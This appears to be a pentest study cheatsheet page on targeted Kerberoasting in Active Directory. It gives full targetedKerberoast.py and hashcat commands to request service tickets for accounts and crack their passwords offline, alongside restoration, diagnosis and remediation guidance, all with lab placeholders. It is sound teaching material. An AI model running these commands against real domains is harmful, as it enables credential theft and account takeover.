AD^:Active Directory

targetedKerberoast

Use a confirmed SPN write permission for a scoped Kerberos ticket request and verify restoration.

intermediateupdated 2026-10-12targetedKerberoast · hashcat

targetedKerberoast

Normal Kerberoasting requests a service ticket for an existing SPN. Targeted Kerberoasting can temporarily add an SPN to an account you can modify, request a ticket, and remove the added value. The report uses this after confirming object-control rights.

Establish permissions and clock health

Read the target account’s effective permissions and original SPNs with your directory tools. Keep the original values as evidence. Resolve the DC by its correct name, check reachability and confirm your clock agrees with the domain before interpreting Kerberos failures.

Request one account

python3 targetedKerberoast.py --help
python3 targetedKerberoast.py --use-ldaps \
  -d example.test -u labuser -p '<LAB_PASSWORD>' \
  --dc-ip 192.0.2.10 --request-user service-user \
  -o service-user.tgs

Credentials here are explicit placeholders. --request-user limits the selected identity. --no-abuse suppresses attribute modification when you only want to request tickets for existing SPNs. Use an encrypted directory connection configured for your environment.

Identify, test and restore

hashcat --identify service-user.tgs
# For a confirmed $krb5tgs$23$ record only:
hashcat -m 13100 service-user.tgs lab-candidates.txt
hashcat -m 13100 --show service-user.tgs

Other encryption types require other modes. Success: a ticket is obtained; recovering a candidate password and validating it are additional results. Re-read the directory object to verify that the original SPN set was restored even after interruption. Restrict SPN write rights and use strong managed service credentials.

Pick the least disruptive request

Target stateRequest choiceDirectory change
Existing usable SPN--no-abuse --request-userNone intended
No SPN, confirmed SPN write right--request-userTemporary SPN addition/removal
List of separately approved accounts-U accounts.txtMay modify each account without an SPN
Only test accounts that need SPN abuse--only-abuseStill requires effective write rights
# Request an existing SPN without attempting attribute modification
python3 targetedKerberoast.py --use-ldaps --no-abuse \
  -d example.test -u labuser -p '<LAB_PASSWORD>' \
  --dc-ip 192.0.2.10 --request-user service-user -o existing-spn.tgs

# Use an existing cache for the single-account workflow
export KRB5CCNAME="$PWD/labuser.ccache"
python3 targetedKerberoast.py --use-ldaps -k --no-pass \
  -d example.test -u labuser --dc-ip 192.0.2.10 \
  --request-user service-user -o service-user.tgs

Save the attribute state on the same DC

ldapsearch -LLL -x -H ldaps://dc01.example.test \
  -D 'labuser@example.test' -W -b 'DC=example,DC=test' \
  '(sAMAccountName=service-user)' distinguishedName servicePrincipalName \
  > service-user-before.ldif

Repeat this query into service-user-after.ldif after the run. Compare the SPN values as a set: LDAP can return multi-valued attributes in a different order. Retain the exact temporary value from the tool log. If interrupted, remove only that introduced value using the documented directory editor; preserve every pre-existing SPN.

Encryption type and offline work

Ticket record prefixCommon hashcat modeMeaning
$krb5tgs$23$13100RC4-HMAC TGS
$krb5tgs$17$19600AES128 TGS
$krb5tgs$18$19700AES256 TGS

Check the emitted representation against hashcat’s examples. Do not force an AES record into an RC4 mode. Candidate exhaustion means the tested candidates failed; it says nothing about the account’s effective ACLs.

Failure diagnosis

FailureLikely boundaryUseful next check
insufficientAccessRightsLDAP attribute writeRe-read the target’s effective SPN write permission
Constraint violationSPN value or directory policyInspect the temporary value and existing SPNs
No such userIdentity or naming contextQuery sAMAccountName directly
KRB_AP_ERR_SKEWClient/KDC timeMeasure UTC offset; see the time helpers
KDC refuses requested encryptionAccount/domain encryption policyUse supported types; record the returned type
Ticket captured, nothing recoveredOffline candidatesConfirm mode and representation before extending candidates

Evidence and remediation

Capture the requester, target DN, original SPNs, write result, ticket type and restored state. Report password recovery separately, with the value redacted. GenericWrite may create this path, but the finding should name the actual attribute and principal that permitted the write. Remove unnecessary SPN control and give service accounts long, unique managed credentials.

How attacks work. Examples use fictional lab values; replace placeholders only with values from the system you are testing.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.